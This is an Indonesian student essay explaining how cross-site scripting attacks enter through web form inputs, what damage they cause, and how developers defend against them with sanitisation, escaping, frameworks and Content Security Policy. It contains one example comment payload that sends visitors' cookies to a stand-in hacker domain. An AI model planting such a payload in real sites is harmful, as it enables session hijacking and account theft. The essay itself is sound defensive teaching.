Pendahuluan
Saat kita berselancar di internet, form input adalah hal yang sangat sering kita temui. Kita menggunakannya saat login, menulis komentar, mencari produk, atau mengisi formulir kontak. Form ini terlihat sederhana dan tidak berbahaya. Namun di balik itu, ada ancaman tersembunyi yang bisa membahayakan pengguna maupun pemilik website. Salah satu ancaman paling umum adalah serangan XSS atau Cross Site Scripting, yang sering menyusup lewat form input tanpa disadari.

Mengenal XSS dan Kaitannya dengan Form Input
XSS adalah serangan yang memungkinkan hacker menyisipkan skrip berbahaya ke dalam halaman web. Skrip ini biasanya disisipkan melalui kolom input yang tidak diamankan dengan baik. Ketika data dari input itu ditampilkan kembali ke pengguna lain, browser akan menjalankan skrip tersebut seolah-olah itu bagian dari situs.

Form input menjadi target empuk karena biasanya menerima teks dari pengguna tanpa batasan yang jelas. Jika website tidak melakukan pengecekan atau pembersihan terhadap data yang dikirim, maka skrip yang diketik oleh hacker bisa langsung diproses dan dijalankan oleh browser korban.

Bagaimana XSS Menyelinap lewat Form
Serangan XSS bisa dimulai dengan sangat sederhana. Misalnya, seorang hacker menulis komentar seperti ini di sebuah blog:

<script>document.location='http://hackersite.com?cookie='+document.cookie</script>

Jika website tidak menyaring input dengan baik, komentar tersebut akan muncul seperti biasa. Namun saat pengguna lain membuka halaman itu, skrip langsung berjalan dan mengirim cookie mereka ke server milik hacker.

Form login, kolom pencarian, feedback, bahkan input yang terlihat aman bisa dimanfaatkan jika tidak diberi perlindungan yang tepat. Inilah mengapa XSS dianggap sangat berbahaya karena bisa menyelinap dari tempat yang paling tidak terduga.

Dampak Nyata XSS dari Form Input
XSS memungkinkan hacker mencuri cookie atau informasi sesi pengguna. Dengan data ini, mereka bisa membajak akun, termasuk akun admin. Selain itu, skrip jahat bisa menyebar ke pengguna lain secara otomatis, misalnya lewat halaman profil, komentar, atau notifikasi.

Bagi pemilik situs, serangan XSS bisa merusak reputasi. Pengunjung akan kehilangan kepercayaan jika tahu situs tersebut tidak aman. Di beberapa kasus, XSS bahkan bisa digunakan untuk mengakses data penting atau menjalankan perintah di browser korban tanpa izin.

Studi Kasus Sederhana: Serangan XSS Lewat Komentar
Bayangkan seorang pengguna yang dengan iseng memasukkan kode JavaScript di kolom komentar artikel. Komentarnya terlihat biasa, tapi ternyata mengandung skrip tersembunyi. Saat orang lain membaca komentar itu, browser mereka menjalankan skrip tersebut dan mengirim data pribadi mereka ke server hacker.

Mereka tidak tahu bahwa data mereka sedang dicuri. Semua terjadi dalam hitungan detik dan tanpa gejala. Inilah yang membuat XSS sangat berbahaya—tidak terlihat, tapi mematikan.

Cara Melindungi Form dari Serangan XSS
Untuk mencegah XSS, pengembang harus melakukan validasi dan sanitasi input di sisi server maupun sisi pengguna (client). Semua input harus diperiksa, dan karakter yang berbahaya seperti <, >, dan “ harus diubah agar tidak dibaca sebagai kode.

Saat menampilkan data ke halaman, jangan gunakan metode yang langsung menampilkan HTML mentah seperti innerHTML, kecuali benar-benar aman. Gunakan teknik escaping agar data pengguna tampil sebagai teks biasa, bukan skrip.

Framework modern seperti React atau Angular sudah memiliki perlindungan bawaan terhadap XSS, jadi sangat disarankan untuk menggunakannya. Selain itu, menerapkan Content Security Policy (CSP) bisa membatasi skrip mana yang boleh dijalankan di situs, sehingga menambah lapisan perlindungan.

Kesimpulan
Form input yang tampak sederhana bisa menjadi pintu masuk bagi serangan XSS. Skrip berbahaya bisa menyusup dan menyerang pengguna tanpa disadari. Serangan ini memang tidak terlihat, tapi dampaknya sangat nyata dan berbahaya. Oleh karena itu, penting bagi setiap pengembang untuk menjaga keamanan form input sejak awal dan bagi pengguna untuk tetap waspada. Dunia web akan jauh lebih aman jika kita tidak meremehkan “dunia gelap” yang tersembunyi di balik formulir sederhana.

NAMA: AISYA

NIM: 23156201029

PRODI: SISTEM KOMPUTER